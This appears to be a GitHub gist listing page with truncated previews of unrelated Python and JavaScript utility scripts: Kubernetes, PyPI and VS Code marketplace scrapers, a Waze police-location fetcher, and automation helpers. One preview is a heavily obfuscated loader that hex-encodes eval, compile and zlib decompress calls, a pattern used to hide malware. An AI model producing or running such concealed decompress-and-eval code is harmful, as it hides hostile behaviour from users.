This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import atexit | |
import json | |
import requests | |
import subprocess | |
import sys | |
namespace = sys.argv[1] | |
proxy_process = subprocess.Popen(['kubectl', 'proxy']) | |
atexit.register(proxy_process.kill) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import imp | |
import importlib | |
import inspect | |
import glob | |
import requests | |
import os | |
def import_from_string(content, module_name, file_name=None): | |
if not file_name: | |
file_name = '{0}.py'.format(module_name) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import datetime | |
import xmlrpc.client | |
import csv | |
client = xmlrpc.client.ServerProxy('https://pypi.org/pypi') | |
serial = client.changelog_last_serial() | |
serial = serial - 50000 | |
events = client.changelog_since_serial(serial) | |
with open('events.csv', 'w+', newline='') as csvfile: | |
csvwriter = csv.writer(csvfile) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from requests.adapters import HTTPAdapter, Retry | |
def get_vscode_extensions(max_page=10000, page_size=100, | |
include_versions=True, include_files=True, include_category_and_tags=True, include_shared_accounts=True, include_version_properties=True, | |
exclude_non_validated=False, include_installation_targets=True, include_asset_uri=True, include_statistics=True, | |
include_latest_version_only=False, unpublished=False, include_name_conflict_info=True, api_version='7.2-preview.1', session=None): | |
if not session: | |
session = requests.session() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import json | |
import datetime | |
import requests | |
def get_police_coordinates_from_waze(): | |
headers = { | |
"referer": "https://www.waze.com/livemap", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from builtins import *;wxxwxwwxxxxwwxwwwwww,jijiilliljiilljijjiijl,S222SS2S22S222SSSSS,SSS222S222222SS2SS2S,mmmmnmnnmnmnnnmmnmmnmmn=(lambda lIlIlIlllIIlIIllIllIIlll:lIlIlIlllIIlIIllIllIIlll(__import__('\x7a\x6c\x69\x62'))),(lambda lIlIlIlllIIlIIllIllIIlll:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(lIlIlIlllIIlIIllIllIIlll)"),filename='\x6a\x6c\x6c\x69\x69\x6c\x6a\x6a\x6c\x69\x6c\x6c\x6c\x6c\x6a\x6a\x69\x6c\x69\x6c\x69\x6a\x6c\x69\x6c',mode='\x65\x76\x61\x6c'))),(lambda lIlIlIlllIIlIIllIllIIlll:lIlIlIlllIIlIIllIllIIlll['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda wxxxwxwxxxwxxwwxwxwxxxxxw,lIlIlIlllIIlIIllIllIIlll:wxxxwxwxxxwxxwwxwxwxxxxxw(lIlIlIlllIIlIIllIllIIlll)),(lambda:(lambda lIlIlIlllIIlIIllIllIIlll:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import os | |
import sys | |
BASE_URL = 'http://10.0.1.100:49155/' | |
DELUGE_PASSWORD = os.environ.get('DELUGE_PASSWORD', 'deluge') | |
REQUEST_ID = 0 | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(() => { | |
const MODE = 'publish_drafts'; | |
const DEBUG_MODE = true; | |
const MADE_FOR_KIDS = false; | |
const VISIBILITY = 'Unlisted'; | |
const SORTING_KEY = (one, other) => { | |
return one.name.localeCompare(other.name, undefined, {numeric: true, sensitivity: 'base'}); | |
}; | |
const TIMEOUT_STEP_MS = 20; | |
const DEFAULT_ELEMENT_TIMEOUT_MS = 10000; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import subprocess | |
import sys | |
import re | |
import os | |
def get_pids(port): | |
command = "sudo lsof -i :%s | awk '{print $2}'" % port | |
pids = subprocess.check_output(command, shell=True) |
NewerOlder